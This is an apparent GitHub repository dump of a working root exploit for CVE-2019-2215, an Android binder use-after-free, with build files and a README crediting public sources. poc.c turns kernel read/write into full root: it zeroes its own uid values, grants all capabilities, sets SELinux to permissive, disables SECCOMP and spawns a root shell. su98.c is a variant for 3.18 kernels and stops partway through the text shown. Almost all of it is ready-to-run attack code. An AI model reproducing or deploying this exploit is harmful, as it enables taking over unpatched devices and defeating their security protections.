├── Android.mk ├── Makefile ├── README.md ├── poc.c └── su98.c /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | poc.c 7 | 8 | LOCAL_MODULE := poc 9 | 10 | include $(BUILD_EXECUTABLE) 11 | 12 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | ARCH := $(shell adb shell getprop ro.product.cpu.abi) 3 | 4 | all: build 5 | 6 | build: 7 | ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$(ARCH) 8 | 9 | push: build 10 | adb push libs/$(ARCH)/poc /data/local/tmp/poc 11 | 12 | clean: 13 | rm -rf libs 14 | rm -rf obj 15 | 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | ## CVE-2019-2215 3 | 4 | Copy and pasted from: 5 | 6 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 7 | 8 | https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/ 9 | 10 | https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c 11 | 12 | 13 | -------------------------------------------------------------------------------- /poc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * POC to gain arbitrary kernel R/W access using CVE-2019-2215 3 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 4 | * 5 | * Jann Horn & Maddie Stone of Google Project Zero 6 | * 7 | * 3 October 2019 8 | */ 9 | 10 | #define _GNU_SOURCE 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #define BINDER_THREAD_EXIT 0x40046208ul 32 | // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized 33 | #define BINDER_THREAD_SZ 0x190 34 | #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 35 | #define WAITQUEUE_OFFSET 0xA0 36 | #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 37 | 38 | void hexdump_memory(unsigned char *buf, size_t byte_count) { 39 | unsigned long byte_offset_start = 0; 40 | if (byte_count % 16) 41 | errx(1, "hexdump_memory called with non-full line"); 42 | for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; 43 | byte_offset += 16) { 44 | char line[1000]; 45 | char *linep = line; 46 | linep += sprintf(linep, "%08lx ", byte_offset); 47 | for (int i=0; i<16; i++) { 48 | linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); 49 | } 50 | linep += sprintf(linep, " |"); 51 | for (int i=0; i<16; i++) { 52 | char c = buf[byte_offset + i]; 53 | if (isalnum(c) || ispunct(c) || c == ' ') { 54 | *(linep++) = c; 55 | } else { 56 | *(linep++) = '.'; 57 | } 58 | } 59 | linep += sprintf(linep, "|"); 60 | puts(line); 61 | } 62 | } 63 | 64 | int epfd; 65 | 66 | void *dummy_page_4g_aligned; 67 | unsigned long current_ptr; 68 | int binder_fd; 69 | 70 | void leak_task_struct(void) 71 | { 72 | struct epoll_event event = { .events = EPOLLIN }; 73 | if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); 74 | 75 | struct iovec iovec_array[IOVEC_ARRAY_SZ]; 76 | memset(iovec_array, 0, sizeof(iovec_array)); 77 | 78 | iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */ 79 | iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */ 80 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */ 81 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000; 82 | 83 | int b; 84 | 85 | int pipefd[2]; 86 | if (pipe(pipefd)) err(1, "pipe"); 87 | if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size"); 88 | static char page_buffer[0x1000]; 89 | //if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe"); 90 | 91 | pid_t fork_ret = fork(); 92 | if (fork_ret == -1) err(1, "fork"); 93 | if (fork_ret == 0){ 94 | /* Child process */ 95 | prctl(PR_SET_PDEATHSIG, SIGKILL); 96 | sleep(2); 97 | printf("CHILD: Doing EPOLL_CTL_DEL.\n"); 98 | epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); 99 | printf("CHILD: Finished EPOLL_CTL_DEL.\n"); 100 | // first page: dummy data 101 | if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe"); 102 | close(pipefd[1]); 103 | printf("CHILD: Finished write to FIFO.\n"); 104 | 105 | exit(0); 106 | } 107 | //printf("PARENT: Calling READV\n"); 108 | ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); 109 | b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); 110 | printf("writev() returns 0x%x\n", (unsigned int)b); 111 | // second page: leaked data 112 | if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe"); 113 | //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer)); 114 | 115 | printf("PARENT: Finished calling READV\n"); 116 | int status; 117 | if (wait(&status) != fork_ret) err(1, "wait"); 118 | 119 | current_ptr = *(unsigned long *)(page_buffer + 0xe8); 120 | printf("current_ptr == 0x%lx\n", current_ptr); 121 | } 122 | 123 | void clobber_addr_limit(void) 124 | { 125 | struct epoll_event event = { .events = EPOLLIN }; 126 | if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); 127 | 128 | struct iovec iovec_array[IOVEC_ARRAY_SZ]; 129 | memset(iovec_array, 0, sizeof(iovec_array)); 130 | 131 | unsigned long second_write_chunk[] = { 132 | 1, /* iov_len */ 133 | 0xdeadbeef, /* iov_base (already used) */ 134 | 0x8 + 2 * 0x10, /* iov_len (already used) */ 135 | current_ptr + 0x8, /* next iov_base (addr_limit) */ 136 | 8, /* next iov_len (sizeof(addr_limit)) */ 137 | 0xfffffffffffffffe /* value to write */ 138 | }; 139 | 140 | iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */ 141 | iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */ 142 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */ 143 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */ 144 | iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD; 145 | iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */ 146 | 147 | int socks[2]; 148 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair"); 149 | if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte"); 150 | 151 | pid_t fork_ret = fork(); 152 | if (fork_ret == -1) err(1, "fork"); 153 | if (fork_ret == 0){ 154 | /* Child process */ 155 | prctl(PR_SET_PDEATHSIG, SIGKILL); 156 | sleep(2); 157 | printf("CHILD: Doing EPOLL_CTL_DEL.\n"); 158 | epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); 159 | printf("CHILD: Finished EPOLL_CTL_DEL.\n"); 160 | if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk)) 161 | err(1, "write second chunk to socket"); 162 | exit(0); 163 | } 164 | ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); 165 | struct msghdr msg = { 166 | .msg_iov = iovec_array, 167 | .msg_iovlen = IOVEC_ARRAY_SZ 168 | }; 169 | int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); 170 | printf("recvmsg() returns %d, expected %lu\n", recvmsg_result, 171 | (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len + 172 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len + 173 | iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len)); 174 | } 175 | 176 | int kernel_rw_pipe[2]; 177 | void kernel_write(unsigned long kaddr, void *buf, unsigned long len) { 178 | errno = 0; 179 | if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); 180 | if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer"); 181 | if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory"); 182 | } 183 | void kernel_read(unsigned long kaddr, void *buf, unsigned long len) { 184 | errno = 0; 185 | if (len > 0x1000) errx(1, "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len); 186 | if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory"); 187 | if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace"); 188 | } 189 | unsigned long kernel_read_ulong(unsigned long kaddr) { 190 | unsigned long data; 191 | kernel_read(kaddr, &data, sizeof(data)); 192 | return data; 193 | } 194 | unsigned long kernel_read_uint(unsigned long kaddr) { 195 | unsigned int data; 196 | kernel_read(kaddr, &data, sizeof(data)); 197 | return data; 198 | } 199 | void kernel_write_ulong(unsigned long kaddr, unsigned long data) { 200 | kernel_write(kaddr, &data, sizeof(data)); 201 | } 202 | void kernel_write_uint(unsigned long kaddr, unsigned int data) { 203 | kernel_write(kaddr, &data, sizeof(data)); 204 | } 205 | 206 | // Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64 207 | // data from `pahole` on my own build with the same .config 208 | #define OFFSET__task_struct__mm 0x520 209 | #define OFFSET__task_struct__cred 0x790 210 | #define OFFSET__mm_struct__user_ns 0x300 211 | #define OFFSET__uts_namespace__name__version 0xc7 212 | // SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug 213 | #define SYMBOL__init_user_ns 0x202f2c8 214 | #define SYMBOL__init_task 0x20257d0 215 | #define SYMBOL__init_uts_ns 0x20255c0 216 | 217 | #define OFFSET__task_struct__thread_info__flags 0 218 | #define SYMBOL__selinux_enforcing 0x23ce4a8 // Grant: recovered using droidimg+miasm 219 | 220 | int main(void) { 221 | printf("Starting POC\n"); 222 | //pin_to(0); 223 | 224 | dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 225 | if (dummy_page_4g_aligned != (void*)0x100000000UL) 226 | err(1, "mmap 4g aligned"); 227 | if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe"); 228 | 229 | binder_fd = open("/dev/binder", O_RDONLY); 230 | epfd = epoll_create(1000); 231 | leak_task_struct(); 232 | clobber_addr_limit(); 233 | 234 | setbuf(stdout, NULL); 235 | printf("should have stable kernel R/W now\n"); 236 | 237 | /*size_t readsize = 0x1000;*/ 238 | /*void* readbuf = malloc(readsize);*/ 239 | /*kernel_read(current_ptr, readbuf, readsize);*/ 240 | /*hexdump_memory(readbuf, readsize);*/ 241 | 242 | /*in case you want to do stuff with the creds, to show that you can get them:*/ 243 | unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm); 244 | printf("current->mm == 0x%lx\n", current_mm); 245 | unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns); 246 | printf("current->mm->user_ns == 0x%lx\n", current_user_ns); 247 | unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns; 248 | printf("kernel base is 0x%lx\n", kernel_base); 249 | if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)"); 250 | unsigned long init_task = kernel_base + SYMBOL__init_task; 251 | printf("&init_task == 0x%lx\n", init_task); 252 | unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred); 253 | printf("init_task.cred == 0x%lx\n", init_task_cred); 254 | unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred); 255 | printf("current->cred == 0x%lx\n", my_cred); 256 | 257 | unsigned long my_uid = my_cred + 4; 258 | unsigned long my_suid = my_uid + 8; 259 | unsigned long my_euid = my_uid + 16; 260 | unsigned long my_fsuid = my_uid + 24; 261 | unsigned long uid = kernel_read_ulong(my_uid); 262 | printf("uid == 0x%lx\n", uid); 263 | kernel_write_ulong(my_uid, 0); 264 | unsigned long suid = kernel_read_ulong(my_suid); 265 | printf("suid == 0x%lx\n", suid); 266 | kernel_write_ulong(my_suid, 0); 267 | unsigned long euid = kernel_read_ulong(my_euid); 268 | printf("euid == 0x%lx\n", euid); 269 | kernel_write_ulong(my_euid, 0); 270 | unsigned long fsuid = kernel_read_ulong(my_fsuid); 271 | printf("fsuid == 0x%lx\n", fsuid); 272 | kernel_write_ulong(my_fsuid, 0); 273 | 274 | if (getuid() != 0) { 275 | printf("Something went wrong changing our UID to root!\n"); 276 | exit(1); 277 | } 278 | 279 | 280 | // reset securebits 281 | kernel_write_uint(my_cred+0x24, 0); 282 | 283 | // change capabilities to everything (perm, effective, bounding) 284 | for (int i = 0; i < 3; i++) 285 | kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL); 286 | 287 | printf("Capabilities set to ALL\n"); 288 | 289 | #if 0 290 | // Grant: this was a failed attempt of just changing my SELinux SID to init's (sid = 7) 291 | // It was "working", but my process's pty would hang, so I couldnt interact with a shell 292 | // From here I just disabled SELinux 293 | 294 | // change SID to init 295 | for (int i = 0; i < 2; i++) 296 | kernel_write_uint(current_cred_security + i*4, 1); 297 | printf("[+] before 2\n"); 298 | kernel_write_uint(current_cred_security + 0, 1); 299 | printf("[+] before 3\n"); 300 | kernel_write_uint(current_cred_security + 8, 7); 301 | 302 | kernel_write_ulong(current_cred_security, 0x0100000001UL); 303 | 304 | kernel_write_uint(current_cred_security + 8, 7); 305 | printf("[+] SID -> init (7)\n"); 306 | #endif 307 | 308 | // Grant: was checking for this earlier, but it's not set, so I moved on 309 | // printf("PR_GET_NO_NEW_PRIVS %d\n", prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); 310 | 311 | unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing); 312 | 313 | printf("SELinux status = %u\n", enforcing); 314 | 315 | if (enforcing) { 316 | printf("Setting SELinux to permissive\n"); 317 | kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0); 318 | } else { 319 | printf("SELinux is already in permissive mode\n"); 320 | } 321 | 322 | // Grant: We want to be as powerful as init, which includes mounting in the global namespace 323 | printf("Re-joining the init mount namespace...\n"); 324 | int fd = open("/proc/1/ns/mnt", O_RDONLY); 325 | 326 | if (fd < 0) { 327 | perror("open"); 328 | exit(1); 329 | } 330 | 331 | if (setns(fd, CLONE_NEWNS) < 0) { 332 | perror("setns"); 333 | exit(1); 334 | } 335 | 336 | printf("Re-joining the init net namespace...\n"); 337 | 338 | fd = open("/proc/1/ns/net", O_RDONLY); 339 | 340 | if (fd < 0) { 341 | perror("open"); 342 | exit(1); 343 | } 344 | 345 | if (setns(fd, CLONE_NEWNET) < 0) { 346 | perror("setns"); 347 | exit(1); 348 | } 349 | 350 | // Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts 351 | if (prctl(PR_GET_SECCOMP) != 0) { 352 | printf("Disabling SECCOMP\n"); 353 | 354 | // Grant: we need to clear TIF_SECCOMP from task first, otherwise, kernel WARN 355 | // clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag) 356 | // arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11 357 | kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0); 358 | kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0); 359 | kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); 360 | 361 | if (prctl(PR_GET_SECCOMP) != 0) { 362 | printf("Failed to disable SECCOMP!\n"); 363 | exit(1); 364 | } else { 365 | printf("SECCOMP disabled!\n"); 366 | } 367 | } else { 368 | printf("SECCOMP is already disabled!\n"); 369 | } 370 | 371 | /*kernel_read(my_cred, readbuf, readsize);*/ 372 | /*hexdump_memory(readbuf, readsize);*/ 373 | 374 | system("/system/bin/sh -i"); 375 | 376 | /*unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;*/ 377 | /*char new_uts_version[] = "EXPLOITED KERNEL";*/ 378 | /*kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));*/ 379 | } 380 | -------------------------------------------------------------------------------- /su98.c: -------------------------------------------------------------------------------- 1 | /* 2 | * POC to gain arbitrary kernel R/W access using CVE-2019-2215 3 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 4 | * 5 | * Jann Horn & Maddie Stone of Google Project Zero 6 | * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019) 7 | * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98 8 | * 9 | * October 2019 10 | */ 11 | 12 | #define DELAY_USEC 200000 13 | 14 | // $ uname -a 15 | // Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64 16 | //#define KERNEL_BASE 0xffffffc000080000ul 17 | //#define KERNEL_BASE 0xffffffc000000000ul 18 | #define KERNEL_BASE search_base 19 | #define OFFSET__thread_info__flags 0x000 20 | #define OFFSET__task_struct__stack 0x008 21 | #define OFFSET__cred__uid 0x004 22 | #define OFFSET__cred__securebits 0x024 23 | #define OFFSET__cred__cap_permitted 0x030 24 | #define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008) 25 | #define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010) 26 | 27 | #define USER_DS 0x8000000000ul 28 | #define BINDER_SET_MAX_THREADS 0x40046205ul 29 | #define MAX_THREADS 3 30 | 31 | #define RETRIES 3 32 | 33 | #define PROC_KALLSYMS 34 | #define KALLSYMS_CACHING 35 | #define KSYM_NAME_LEN 128 36 | 37 | //Not needed, but saved for future use; the offsets are for LGV20 LS998 38 | //#define OFFSET__task_struct__seccomp 0x9b0 39 | //#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster 40 | //#define OFFSET__task_struct__cred 0x550 41 | #define OFFSET__cred__security 0x078 42 | #define OFFSET__cred__cap_inheritable 0x028 43 | #define OFFSET__cred__cap_ambient 0x048 44 | //#define OFFSET__task_struct__mm 0x308 45 | 46 | 47 | #define _GNU_SOURCE 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | 70 | #define MAX_PACKAGE_NAME 1024 71 | 72 | #define MIN(x, y) ((x) < (y) ? (x) : (y)) 73 | #define MAX(x, y) ((x) > (y) ? (x) : (y)) 74 | 75 | #define BINDER_THREAD_EXIT 0x40046208ul 76 | // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized 77 | #define BINDER_THREAD_SZ 0x198 78 | #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 79 | #define WAITQUEUE_OFFSET (0xA8) 80 | #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 81 | #define UAF_SPINLOCK 0x10001 82 | #define PAGE 0x1000ul 83 | #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8 84 | 85 | int quiet = 0; 86 | 87 | const char whitelist[] = "su98-whitelist.txt"; 88 | const char denyfile[] = "su98-denied.txt"; 89 | int have_kallsyms = 0; 90 | int kernel3 = 1; 91 | int have_base=0; 92 | char* myPath; 93 | char* myName; 94 | unsigned long search_base=0xffffffc000000000ul; 95 | 96 | struct kallsyms { 97 | unsigned long addresses; 98 | unsigned long names; 99 | unsigned long num_syms; 100 | unsigned long token_table; 101 | unsigned long markers; 102 | char* token_table_data; 103 | unsigned short token_index_data[256]; 104 | } kallsyms; 105 | 106 | void message(char *fmt, ...) 107 | { 108 | if (quiet) 109 | return; 110 | va_list ap; 111 | va_start(ap, fmt); 112 | vprintf(fmt, ap); 113 | va_end(ap); 114 | putchar('\n'); 115 | } 116 | 117 | void error(char* fmt, ...) 118 | { 119 | va_list ap; 120 | va_start(ap, fmt); 121 | vfprintf(stderr, fmt, ap); 122 | va_end(ap); 123 | fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error"); 124 | exit(1); 125 | } 126 | 127 | int isKernelPointer(unsigned long p) { 128 | return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul; 129 | } 130 | 131 | unsigned long kernel_read_ulong(unsigned long kaddr); 132 | 133 | void hexdump_memory(void *_buf, size_t byte_count) 134 | { 135 | unsigned char *buf = _buf; 136 | unsigned long byte_offset_start = 0; 137 | if (byte_count % 16) 138 | error( "hexdump_memory called with non-full line"); 139 | for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; 140 | byte_offset += 16) 141 | { 142 | char line[1000]; 143 | char *linep = line; 144 | linep += sprintf(linep, "%08lx ", byte_offset); 145 | for (int i = 0; i < 16; i++) 146 | { 147 | linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); 148 | } 149 | linep += sprintf(linep, " |"); 150 | for (int i = 0; i < 16; i++) 151 | { 152 | char c = buf[byte_offset + i]; 153 | if (isalnum(c) || ispunct(c) || c == ' ') 154 | { 155 | *(linep++) = c; 156 | } 157 | else 158 | { 159 | *(linep++) = '.'; 160 | } 161 | } 162 | linep += sprintf(linep, "|"); 163 | puts(line); 164 | } 165 | } 166 | 167 | int epfd; 168 | 169 | int binder_fd; 170 | 171 | unsigned long iovec_size(struct iovec *iov, int n) 172 | { 173 | unsigned long sum = 0; 174 | for (int i = 0; i < n; i++) 175 | sum += iov[i].iov_len; 176 | return sum; 177 | } 178 | 179 | unsigned long iovec_max_size(struct iovec *iov, int n) 180 | { 181 | unsigned long m = 0; 182 | for (int i = 0; i < n; i++) 183 | { 184 | if (iov[i].iov_len > m) 185 | m = iov[i].iov_len; 186 | } 187 | return m; 188 | } 189 | 190 | int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength) 191 | { 192 | int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE); 193 | char *dummyBuffer = malloc(dummyBufferSize); 194 | if (dummyBuffer == NULL) 195 | error( "allocating dummyBuffer"); 196 | 197 | memset(dummyBuffer, 0, dummyBufferSize); 198 | 199 | message("PARENT: clobbering at 0x%lx", payloadAddress); 200 | 201 | struct epoll_event event = {.events = EPOLLIN}; 202 | int max_threads = 2; 203 | ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); 204 | if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) 205 | error( "epoll_add"); 206 | 207 | unsigned long testDatum = 0; 208 | unsigned long const testValue = 0xABCDDEADBEEF1234ul; 209 | 210 | struct iovec iovec_array[IOVEC_ARRAY_SZ]; 211 | memset(iovec_array, 0, sizeof(iovec_array)); 212 | 213 | const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3; 214 | 215 | unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = { 216 | (unsigned long)dummyBuffer, 217 | /* iov_base (currently in use) */ // wq->task_list->next 218 | SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10, 219 | /* iov_len (currently in use) */ // wq->task_list->prev 220 | 221 | payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */ 222 | payloadLength, 223 | 224 | (unsigned long)&testDatum, 225 | sizeof(testDatum), 226 | }; 227 | 228 | int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE; 229 | int paddingSize = delta == 0 ? 0 : PAGE - delta; 230 | 231 | iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer; 232 | iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize; 233 | iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer; 234 | iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK 235 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list 236 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list 237 | iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored 238 | iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK; 239 | iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer; 240 | iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength; 241 | iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer; 242 | iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum); 243 | int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); 244 | 245 | int pipes[2]; 246 | pipe(pipes); 247 | if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE) 248 | error( "pipe size"); 249 | if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE) 250 | error( "pipe size"); 251 | 252 | pid_t fork_ret = fork(); 253 | if (fork_ret == -1) 254 | error( "fork"); 255 | if (fork_ret == 0) 256 | { 257 | /* Child process */ 258 | prctl(PR_SET_PDEATHSIG, SIGKILL); 259 | usleep(DELAY_USEC); 260 | message("CHILD: Doing EPOLL_CTL_DEL."); 261 | epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); 262 | message("CHILD: Finished EPOLL_CTL_DEL."); 263 | 264 | char *f = malloc(totalLength); 265 | if (f == NULL) 266 | error( "Allocating memory"); 267 | memset(f, 0, paddingSize + UAF_SPINLOCK); 268 | unsigned long pos = paddingSize + UAF_SPINLOCK; 269 | memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk)); 270 | pos += sizeof(second_write_chunk); 271 | memcpy(f + pos, src, payloadLength); 272 | pos += payloadLength; 273 | memcpy(f + pos, &testValue, sizeof(testDatum)); 274 | pos += sizeof(testDatum); 275 | write(pipes[1], f, pos); 276 | message("CHILD: wrote %lu", pos); 277 | close(pipes[1]); 278 | close(pipes[0]); 279 | exit(0); 280 | } 281 | 282 | ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); 283 | int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ); 284 | 285 | message("PARENT: readv returns %d, expected %d", b, totalLength); 286 | 287 | if (testDatum != testValue) 288 | message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue); 289 | else 290 | message("PARENT: clobbering test passed"); 291 | 292 | free(dummyBuffer); 293 | close(pipes[0]); 294 | close(pipes[1]); 295 | 296 | return testDatum == testValue; 297 | } 298 | 299 | int leak_data(void *leakBuffer, int leakAmount, 300 | unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, 301 | unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) 302 | { 303 | unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8; 304 | unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough 305 | 306 | int success = 1; 307 | 308 | struct epoll_event event = {.events = EPOLLIN}; 309 | int max_threads = 2; 310 | ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); 311 | if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) 312 | error( "epoll_add"); 313 | 314 | struct iovec iovec_array[IOVEC_ARRAY_SZ]; 315 | 316 | memset(iovec_array, 0, sizeof(iovec_array)); 317 | 318 | int delta = (UAF_SPINLOCK + minimumLeak) % PAGE; 319 | int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE; 320 | 321 | iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF; 322 | iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE; 323 | iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF; 324 | iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE; 325 | iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF; 326 | iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */ 327 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */ 328 | iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */ 329 | iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here 330 | 